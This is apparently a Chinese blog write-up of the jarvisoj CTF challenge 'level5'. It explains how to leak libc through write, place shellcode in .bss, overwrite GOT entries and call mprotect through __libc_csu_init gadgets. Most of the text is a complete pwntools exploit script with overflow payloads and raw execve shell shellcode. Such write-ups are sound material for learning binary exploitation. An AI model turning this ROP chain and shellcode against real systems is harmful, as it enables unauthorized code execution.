level5 writeup

2018-05-09  本文已影响22人  zs0zrc

jarvisoj平台上的level5
题目要求练习 mmap和mprotect 函数 不能调用system或者是execv函数来获取shell
同时给了可执行文件和libc文件
先查了下mmap和mprotect函数是干什么的
两个函数原型如下:
void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off)
mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
mprotect(add,len,prot)rdi = add ; rsi = len ;rdx = prot; prot=7 是可读可写可执行
int mprotect(void *addr, size_t len, int prot);
mmap主要是将哪个文件映射到一段内存去同时设置那段内存的属性 可读可写或者是可执行
mprotect函数是将从addr开始的地址 ,长度位len的内存 的访问权限

具体情况可以去看这一篇博客:https://blog.csdn.net/andyhuabing/article/details/42393527

参考了网上大神的思路

get 了一个pwntools调试的用法
设置context.log_level="debug"
可以在执行时观察io流
pause()函数可以暂停执行 直到输入回车健
log.info()用来输出信息

解题思路:

利用write函数泄露出libc内存信息 #write(1,write_got,8)
然后计算出mprotect函数在libc中的地址 #mprotect_add = libc_base >+ libc.symbols["mprotect"]
将shellcdoe写入bss段
将bss地址和mprotect地址写入got表
最后用通用gadget调用mprotect函数将bss段设置为可执行
然后跳转到bss在got表的地址执行shellcode

然后就是找好gadget 通过ROPgadget --binary level3_x64 --only "pop|ret" ,可以发现 pop_rdi 和 pop_rsi_r15 这两个有用的gadget 用来调用read函数和write函数,mprotect函数可以用_libc_csu_init 的通用gadget调用

最后贴上脚本:

from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
elf = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
log.info("*************************leak libc memory")
pause()
write_plt = elf.plt["write"]
write_got = elf.got["write"]
vul_add = elf.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1

p1 = "1" * (0x80 + 8)
p1 += p64(rdi)
p1 += p64(1)
p1 += p64(rsi_r15)
p1 += p64(write_got)
p1 += "1" * 8
p1 += p64(write_plt)
p1 += p64(vul_add)
p.recv()
sleep(0.2)

p.send(p1)

data = p.recv(8)
read_addr = u64(data)

libc.base = read_addr - libc.symbols["write"]
mprotect_addr = libc.base + libc.symbols["mprotect"]
print "mprotect: ["+hex(mprotect_addr)+"]"
log.info("*************************write shellcode")
pause()

read_plt = elf.symbols['read']
bss_base = elf.bss()
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1

payload2 = 'a'*0x80 + 'a'*8
payload2 += p64(rdi) + p64(0) 
payload2 += p64(rsi_r15)  + p64(bss_base) +"1"*8
payload2 += p64(read_plt)
payload2 += p64(vul_add)

sleep(0.2)
p.send(payload2)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

sleep(0.2)
p.send(shellcode)
log.info("*************************write shellcode add")
pause()

bss_got= 0x0000000000600A48
payload3 = 'a'*0x80+'a'*8
payload3 += p64(rdi)+p64(0)
payload3 += p64(rsi_r15) + p64(bss_got) + "1"*8
payload3 += p64(read_plt) + p64(vul_add)

sleep(0.2)
p.send(payload3)
sleep(0.2)
p.send(p64(bss_base))

log.info("*************************write mprotect add")
pause()
mprotect_got = 0x0000000000600A50
payload4 = 'a'*0x80+'a'*8
payload4 += p64(rdi) + p64(0)
payload4 += p64(rsi_r15) + p64(mprotect_got) + p64(0)
payload4 += p64(read_plt) +p64(vul_add)

sleep(0.2)
p.send(payload4)
sleep(0.2)
p.send(p64(mprotect_addr))

log.info("*************************use mprotect and return execu shellcode")
pause()
gadget_start = 0x00000000004006A6
gadget_end = 0x0000000000400690

payload5 = 'a'*0x80+'a'*8
payload5 += p64(gadget_start) + p64(0) + p64(0) + p64(1) +p64(mprotect_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 +=p64(gadget_end) 
payload5 += 'a'*8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(gadget_end)

sleep(0.2)
p.send(payload5)

p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读